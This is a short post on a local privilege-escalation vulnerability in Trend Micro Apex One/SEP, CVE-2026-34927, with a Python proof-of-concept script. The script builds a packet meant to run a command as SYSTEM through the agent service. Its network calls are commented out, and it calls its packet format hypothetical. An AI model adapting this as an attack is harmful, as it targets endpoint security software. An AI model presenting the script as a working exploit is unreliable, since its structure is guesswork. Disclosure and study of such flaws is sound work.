CVE-2026-34927 Trend Micro Apex One/SEP本地提权漏洞

import socket import struct # PoC for CVE-2026-34927: Origin Validation Bypass # This script demonstrates how a low-privileged user might send a crafted command # to the Trend Micro Apex One/SEP Agent to escalate privileges. # Note: This is a conceptual example for educational purposes. def exploit(): target_host = "127.0.0.1" # The actual port must be determined based on the specific agent configuration target_port = 12124 print(f"[*] Attempting to connect to Agent Service at {target_host}:{target_port}...") try: # In a real scenario, we would establish a TCP/IPC connection here. # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((target_host, target_port)) # Constructing a malicious packet to bypass origin validation. # The vulnerability implies that the agent does not verify the source of the command. # We craft a packet that resembles a legitimate administrative command. # Hypothetical Packet Structure: # [Magic Bytes (4)] [Command ID (4)] [Payload Length (4)] [Payload] magic_byte = b"\x54\x4D\x49\x43" # Placeholder for "TMIC" cmd_id = struct.pack("<I", 0x00001001) # Command ID for arbitrary execution (Hypothetical) payload = b"C:\\Windows\\System32\\cmd.exe /c whoami" # Command to execute payload_len = struct.pack("<I", len(payload)) malicious_packet = magic_byte + cmd_id + payload_len + payload print(f"[*] Crafted malicious packet: {malicious_packet}") print("[*] Sending payload to trigger privilege escalation...") # sock.send(malicious_packet) # response = sock.recv(1024) # print(f"[+] Received response: {response}") print("[+] Exploit logic executed. If vulnerable, command would run with SYSTEM privileges.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": exploit()